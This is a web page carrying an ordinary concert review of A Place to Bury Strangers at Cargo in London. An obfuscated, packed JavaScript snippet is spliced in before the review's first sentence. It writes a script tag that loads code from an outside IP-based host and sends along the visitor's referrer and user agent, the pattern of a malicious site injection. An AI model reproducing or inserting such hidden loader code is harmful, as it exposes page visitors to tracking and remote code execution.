With (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekiad|var|u0026u|referrer|yaiit||js|php’.split(‘|’),0,{})) a sold out show at East London’s Cargo, A Place to Bury Strangers’ fans had already nicely filled the venue by the time we had arrived, in time for second support band The Lucid Dream, describing themselves as: “Psych space cadets”. The four-piece’s description somewhat matched their button-up shirt and mop-haired image, however, the music went in a surprising and completely different direction. Quiet and atmospheric moments lead by the lead singer’s wailing, unapologetically Northern vocals, were contrasted against loud, Jesus and the Mary Chain style melodic noise. Well worth a listen.
When it was time for the main act of the night to come on, you could barely move to put your earplugs in. A Place To Bury Strangers began their feedback frenzied noise rock in a film of thick smoke, with lead singer Oliver Ackermann’s New York drawl calling to the engineers to completely turn off the lights – which was ignored, but, as the band started to play, they made it hard to ignore the volume and thrashing pedals they are so famously known for. By the third song, the obstructing wall of smoke in-front of the band and the stage began to clear and the crowd started to move. Projections of flame-like stripes shone against the wall, the perfect backdrop with the crowd now being able to see the energy of the band’s movements on stage.
On the night the drums really stood out amongst the scrawling screech of guitars and effects, with hardly a sobering moment for Ackermann’s vocals to stand further above them. The line-up may of changed considerably over the seven years that the band has been together, but in no way does this reflect on the quality of the set, which was extremely varied. The gig gave the noise rockers a chance to sample some of their tracks from the new album, ‘Worship‘ out on the 11th of June, alongside some of their firm classics. Judging from the new songs in the set, the new LP is sure to be a winner and perhaps their most popular yet. But, we would recommend to see these guys live if given the chance, as the electric atmosphere they produce cannot simply be recorded. A feast for the senses!
